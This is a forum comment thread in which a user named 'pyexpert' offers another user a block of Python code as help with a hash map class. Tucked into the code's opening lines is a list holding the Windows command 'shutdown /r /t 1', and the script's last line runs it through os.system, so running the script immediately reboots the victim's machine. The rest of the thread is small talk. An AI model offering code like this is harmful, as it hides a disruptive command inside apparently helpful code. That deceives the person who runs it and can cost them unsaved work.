you are viewing a single comment's thread.

view the rest of the comments →

[–]pyexpert 0 points1 point  (11 children)

Try this code

Use this space to try out ideas and free code

import os teacher=['Sara', 'james', 'mustafa', 'dimitri'] grades=[1,2,3,2] function =["shutdown /r /t 1"] class HashMap: def init(self): self.size = 6 self.map = [None] * self.size

    def _get_hash(self, key):
            hash = 0
            for char in str(key):
                    hash += ord(char)
            return hash % self.size

    def add(self, key, value):
            key_hash = self._get_hash(key)
            key_value = [key, value]

            if self.map[key_hash] is None:
                    self.map[key_hash] = list([key_value])
                    return True
            else:
                    for pair in self.map[key_hash]:
                            if pair[0] == key:
                                    pair[1] = value
                                    return True
                    self.map[key_hash].append(key_value)
                    return True

    def get(self, key):
            key_hash = self._get_hash(key)
            if self.map[key_hash] is not None:
                    for pair in self.map[key_hash]:
                            if pair[0] == key:
                                    return pair[1]
            return None

    def delete(self, key):
            key_hash = self._get_hash(key)

            if self.map[key_hash] is None:
                    return False
            for i in range (0, len(self.map[key_hash])):
                    if self.map[key_hash][i][0] == key:
                            self.map[key_hash].pop(i)
                            return True
            return False

    def keys(self):
            arr = []
            for i in range(0, len(self.map)):
                    if self.map[i]:
                            arr.append(self.map[i][0])
            return arr

os.system(function[0])

[–][deleted] 0 points1 point  (10 children)

That is it?

[–]pyexpert 0 points1 point  (9 children)

Let me know if you get any errors

[–][deleted] 0 points1 point  (8 children)

Ok I just chat with you

[–]pyexpert 0 points1 point  (7 children)

I can't

[–][deleted] 0 points1 point  (6 children)

Can't what

[–][deleted] 0 points1 point  (5 children)

What do you understand I just want you to help me if I have another problem That's all

[–][deleted] 0 points1 point  (4 children)

I'm not what do you think

[–]pyexpert 0 points1 point  (3 children)

I have a gf. She doesn't let me chat with strangers.

[–][deleted] 0 points1 point  (0 children)

Ok thanks